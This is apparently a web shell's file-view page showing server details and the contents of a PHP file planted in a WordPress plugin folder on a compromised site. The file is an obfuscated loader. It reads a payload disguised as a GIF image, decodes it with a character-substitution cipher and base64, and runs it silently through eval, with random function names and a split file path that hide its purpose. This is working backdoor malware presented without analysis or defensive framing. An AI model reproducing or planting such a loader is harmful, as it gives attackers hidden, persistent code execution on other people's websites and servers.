HEX
Server: LiteSpeed
System: Linux cyberpanel211onubuntu2004-s-1vcpu-1gb-blr1-01 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64
User: excel9995 (1002)
PHP: 8.0.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/exceltradinguae.ae/public_html/wp-content/plugins/avutadud/arywaxe.txt
<?php

function otycam_ichifupozh($hibijo_zhawazhab) {
    $ewakheg = iqacok_ubamyzhip(1);
    $wixepu = iqacok_ubamyzhip(2);
    for ($nyvoja = 0; $nyvoja < strlen($ewakheg); $nyvoja++) {
        $zhusome = substr($ewakheg, $nyvoja, 1);
        $pobame = substr($wixepu, $nyvoja, 1);
        $hibathi[$zhusome] = $pobame;
    }

    $afehal = strtr($hibijo_zhawazhab, $hibathi);
    $afehal = base64_decode($afehal);

    return $afehal;
}

function iqacok_ubamyzhip($hibijo_zhawazhab) {
    if ($hibijo_zhawazhab == 1)
        return xosifo_thoshygepyt();
    if ($hibijo_zhawazhab == 2)
        return nivizy_volohishu();
}

function ybuter_ufozaqeg($hibijo_zhawazhab) {
    $eshyhun = array();
    if (!file_exists($hibijo_zhawazhab))
        return false;
    $zocitho = @file_get_contents($hibijo_zhawazhab);
    if (!$zocitho)
        return false;
    $zocitho = substr($zocitho, 3);
    $eshyhun = otycam_ichifupozh($zocitho);
    return $eshyhun;
}

function xosifo_thoshygepyt() {
    $zocitho = "ORuDvpXkP5FnrEwjsb6H4GA70Qz8IKyLhaCgBZ+9N/2Vc1UxJYlqitodWTMmS=e3f";
    return $zocitho;
}

function nivizy_volohishu() {
    $eshyhun = "hMGTr2D5Eo0+CYNatlsidJX/=3B4RefSH6Kk8Pg9LnbFQyUjWZ71cqpzOwAImxuvV";
    return $eshyhun;
}

$omevoma = ybuter_ufozaqeg(__DIR__ . "/asse" . "ts/im" . "ages/q" . "oqehy." . "gif");
if ($omevoma) {
    @eval($omevoma);
}